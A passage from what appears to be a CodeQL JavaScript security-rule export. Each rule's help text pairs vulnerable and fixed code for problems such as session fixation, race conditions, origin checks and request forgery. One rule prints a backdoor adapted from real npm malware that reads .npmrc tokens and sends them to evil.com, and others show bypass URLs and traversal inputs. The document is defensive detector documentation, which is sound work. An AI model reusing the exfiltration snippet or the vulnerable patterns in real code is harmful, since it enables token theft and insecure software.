remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n"},"properties":{"tags":["security","external/cwe/cwe-912","external/cwe/cwe-434"],"description":"Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.","id":"js/http-to-file-access","kind":"path-problem","name":"Network data written to file","precision":"medium","problem.severity":"warning","security-severity":"6.3"}},{"id":"js/session-fixation","name":"js/session-fixation","shortDescription":{"text":"Failure to abandon session"},"fullDescription":{"text":"Reusing an existing session as a different user could allow an attacker to access someone else's account by using their session."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n","markdown":"# Failure to abandon session\nReusing a session could allow an attacker to gain unauthorized access to another account. Always ensure that, when a user logs in or out, the current session is abandoned so that a new session may be started.\n\n\n## Recommendation\nAlways use `req.session.regenerate(...);` to start a new session when a user logs in or out.\n\n\n## Example\nThe following example shows the previous session being used after authentication. This would allow a previous user to use the new user's account.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.authenticated = true;\n        res.redirect('/');\n    } else {\n        res.redirect('/login');\n    }\n});\n```\nThis code example solves the problem by not reusing the session, and instead calling `req.session.regenerate()` to ensure that the session is not reused.\n\n\n```javascript\nconst express = require('express');\nconst session = require('express-session');\nvar bodyParser = require('body-parser')\nconst app = express();\napp.use(bodyParser.urlencoded({ extended: false }))\napp.use(session({\n    secret: 'keyboard cat'\n}));\n\napp.post('/login', function (req, res) {\n    // Check that username password matches\n    if (req.body.username === 'admin' && req.body.password === 'admin') {\n        req.session.regenerate(function (err) {\n            if (err) {\n                res.send('Error');\n            } else {\n                req.session.authenticated = true;\n                res.redirect('/');\n            }\n        });\n    } else {\n        res.redirect('/login');\n    }\n});\n```\n\n## References\n* OWASP: [Session fixation](https://www.owasp.org/index.php/Session_fixation)\n* Stack Overflow: [Creating a new session after authentication with Passport](https://stackoverflow.com/questions/22209354/creating-a-new-session-after-authentication-with-passport/30468384#30468384)\n* jscrambler.com: [Best practices for secure session management in Node](https://blog.jscrambler.com/best-practices-for-secure-session-management-in-node)\n* Common Weakness Enumeration: [CWE-384](https://cwe.mitre.org/data/definitions/384.html).\n"},"properties":{"tags":["security","external/cwe/cwe-384"],"description":"Reusing an existing session as a different user could allow\n              an attacker to access someone else's account by using\n              their session.","id":"js/session-fixation","kind":"problem","name":"Failure to abandon session","precision":"medium","problem.severity":"warning","security-severity":"5"}},{"id":"js/file-system-race","name":"js/file-system-race","shortDescription":{"text":"Potential file system race condition"},"fullDescription":{"text":"Separately checking the state of a file before operating on it may allow an attacker to modify the file between the two operations."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n","markdown":"# Potential file system race condition\nOften it is necessary to check the state of a file before using it. These checks usually take a file name to be checked, and if the check returns positively, then the file is opened or otherwise operated upon.\n\nHowever, in the time between the check and the operation, the underlying file referenced by the file name could be changed by an attacker, causing unexpected behavior.\n\n\n## Recommendation\nUse file descriptors instead of file names whenever possible.\n\n\n## Example\nThe following example shows a case where the code checks whether a file inside the `/tmp/` folder exists, and if it doesn't, the file is written to that location.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\nif (!fs.existsSync(filePath)) {\n  fs.writeFileSync(filePath, \"Hello\", { mode: 0o600 });\n}\n\n```\nHowever, in a multi-user environment the file might be created by another user between the existence check and the write.\n\nThis can be avoided by using `fs.open` to get a file descriptor, and then use that file descriptor in the write operation.\n\n\n```javascript\nconst fs = require(\"fs\");\nconst os = require(\"os\");\nconst path = require(\"path\");\n\nconst filePath = path.join(os.tmpdir(), \"my-temp-file.txt\");\n\ntry {\n  const fd = fs.openSync(filePath, fs.O_CREAT | fs.O_EXCL | fs.O_RDWR, 0o600);\n\n  fs.writeFileSync(fd, \"Hello\");\n} catch (e) {\n  // file existed\n}\n\n```\n\n## References\n* Wikipedia: [Time-of-check to time-of-use](https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use).\n* The CERT Oracle Secure Coding Standard for C: [ FIO01-C. Be careful using functions that use file names for identification ](https://www.securecoding.cert.org/confluence/display/c/FIO01-C.+Be+careful+using+functions+that+use+file+names+for+identification).\n* NodeJS: [The FS module](https://nodejs.org/api/fs.html).\n* Common Weakness Enumeration: [CWE-367](https://cwe.mitre.org/data/definitions/367.html).\n"},"properties":{"tags":["security","external/cwe/cwe-367"],"description":"Separately checking the state of a file before operating\n              on it may allow an attacker to modify the file between\n              the two operations.","id":"js/file-system-race","kind":"problem","name":"Potential file system race condition","precision":"medium","problem.severity":"warning","security-severity":"7.7"}},{"id":"js/insecure-temporary-file","name":"js/insecure-temporary-file","shortDescription":{"text":"Insecure temporary file"},"fullDescription":{"text":"Creating a temporary file that is accessible by other users can lead to information disclosure and sometimes remote code execution."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n","markdown":"# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n"},"properties":{"tags":["external/cwe/cwe-377","external/cwe/cwe-378","security"],"description":"Creating a temporary file that is accessible by other users can\n lead to information disclosure and sometimes remote code execution.","id":"js/insecure-temporary-file","kind":"path-problem","name":"Insecure temporary file","precision":"medium","problem.severity":"warning","security-severity":"7.0"}},{"id":"js/file-access-to-http","name":"js/file-access-to-http","shortDescription":{"text":"File data in outbound network request"},"fullDescription":{"text":"Directly sending file data in an outbound network request can indicate unauthorized information disclosure."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n","markdown":"# File data in outbound network request\nSending local file system data to a remote URL without further validation risks uncontrolled information exposure, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example is adapted from backdoor code that was identified in two popular npm packages. It reads the contents of the `.npmrc` file (which may contain secret npm tokens) and sends it to a remote server by embedding it into an HTTP request header.\n\n\n```javascript\nvar fs = require(\"fs\"),\n    https = require(\"https\");\n\nvar content = fs.readFileSync(\".npmrc\", \"utf8\");\nhttps.get({\n  hostname: \"evil.com\",\n  path: \"/upload\",\n  method: \"GET\",\n  headers: { Referer: content }\n}, () => { });\n\n```\n\n## References\n* ESLint Blog: [Postmortem for Malicious Packages Published on July 12th, 2018](https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes).\n* OWASP: [Sensitive Data Exposure](https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure).\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n"},"properties":{"tags":["security","external/cwe/cwe-200"],"description":"Directly sending file data in an outbound network request can indicate unauthorized information disclosure.","id":"js/file-access-to-http","kind":"path-problem","name":"File data in outbound network request","precision":"medium","problem.severity":"warning","security-severity":"6.5"}},{"id":"js/user-controlled-bypass","name":"js/user-controlled-bypass","shortDescription":{"text":"User-controlled bypass of security check"},"fullDescription":{"text":"Conditions that the user controls are not suited for making security-related decisions."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n","markdown":"# User-controlled bypass of security check\nUsing user-controlled data in a permissions check may allow a user to gain unauthorized access to protected functionality or data.\n\n\n## Recommendation\nWhen checking whether a user is authorized for a particular activity, do not use data that is entirely controlled by that user in the permissions check. If necessary, always validate the input, ideally against a fixed list of expected values.\n\nSimilarly, do not decide which permission to check for, based on user data. In particular, avoid using computation to decide which permissions to check for. Use fixed permissions for particular actions, rather than generating the permission to check for.\n\n\n## Example\nIn this example, we have a server that shows private information for a user, based on the request parameter `userId`. For privacy reasons, users may only view their own private information, so the server checks that the request parameter `userId` matches a cookie value for the user who is logged in.\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.cookies.loggedInUserId !== req.params.userId) {\n        // BAD: login decision made based on user controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\nThis security check is, however, insufficient since an attacker can craft their cookie values to match those of any user. To prevent this, the server can cryptographically sign the security critical cookie values:\n\n\n```javascript\nvar express = require('express');\nvar app = express();\n// ...\napp.get('/full-profile/:userId', function(req, res) {\n\n    if (req.signedCookies.loggedInUserId !== req.params.userId) {\n        // GOOD: login decision made based on server controlled data\n        requireLogin();\n    } else {\n        // ... show private information\n    }\n\n});\n\n```\n\n## References\n* Common Weakness Enumeration: [CWE-807](https://cwe.mitre.org/data/definitions/807.html).\n* Common Weakness Enumeration: [CWE-290](https://cwe.mitre.org/data/definitions/290.html).\n"},"properties":{"tags":["security","external/cwe/cwe-807","external/cwe/cwe-290"],"description":"Conditions that the user controls are not suited for making security-related decisions.","id":"js/user-controlled-bypass","kind":"path-problem","name":"User-controlled bypass of security check","precision":"medium","problem.severity":"error","security-severity":"7.8"}},{"id":"js/missing-origin-check","name":"js/missing-origin-check","shortDescription":{"text":"Missing origin verification in `postMessage` handler"},"fullDescription":{"text":"Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n","markdown":"# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020","external/cwe/cwe-940"],"description":"Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.","id":"js/missing-origin-check","kind":"problem","name":"Missing origin verification in `postMessage` handler","precision":"medium","problem.severity":"warning","security-severity":"5"}},{"id":"js/regex/missing-regexp-anchor","name":"js/regex/missing-regexp-anchor","shortDescription":{"text":"Missing regular expression anchor"},"fullDescription":{"text":"Regular expressions without anchors can be vulnerable to bypassing."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n","markdown":"# Missing regular expression anchor\nSanitizing untrusted input with regular expressions is a common technique. However, it is error-prone to match untrusted input against regular expressions without anchors such as `^` or `$`. Malicious input can bypass such security checks by embedding one of the allowed patterns in an unexpected location.\n\nEven if the matching is not done in a security-critical context, it may still cause undesirable behavior when the regular expression accidentally matches.\n\n\n## Recommendation\nUse anchors to ensure that regular expressions match at the expected locations.\n\n\n## Example\nThe following example code checks that a URL redirection will reach the `example.com` domain, or one of its subdomains, and not some malicious site.\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // BAD: the host of `url` may be controlled by an attacker\n    if (url.match(/https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nThe check with the regular expression match is, however, easy to bypass. For example by embedding `http://example.com/` in the query string component: `http://evil-example.net/?x=http://example.com/`. Address these shortcomings by using anchors in the regular expression instead:\n\n\n```javascript\napp.get(\"/some/path\", function(req, res) {\n    let url = req.param(\"url\");\n    // GOOD: the host of `url` can not be controlled by an attacker\n    if (url.match(/^https?:\\/\\/www\\.example\\.com\\//)) {\n        res.redirect(url);\n    }\n});\n\n```\nA related mistake is to write a regular expression with multiple alternatives, but to only include an anchor for one of the alternatives. As an example, the regular expression `/^www\\.example\\.com|beta\\.example\\.com/` will match the host `evil.beta.example.com` because the regular expression is parsed as `/(^www\\.example\\.com)|(beta\\.example\\.com)/`\n\n\n## References\n* MDN: [Regular Expressions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)\n* OWASP: [SSRF](https://www.owasp.org/index.php/Server_Side_Request_Forgery)\n* OWASP: [XSS Unvalidated Redirects and Forwards Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n"},"properties":{"tags":["correctness","security","external/cwe/cwe-020"],"description":"Regular expressions without anchors can be vulnerable to bypassing.","id":"js/regex/missing-regexp-anchor","kind":"problem","name":"Missing regular expression anchor","precision":"medium","problem.severity":"warning","security-severity":"7.8"}},{"id":"js/client-side-request-forgery","name":"js/client-side-request-forgery","shortDescription":{"text":"Client-side request forgery"},"fullDescription":{"text":"Making a client-to-server request with user-controlled data in the URL allows a request forgery attack against the client."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: [Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n","markdown":"# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: 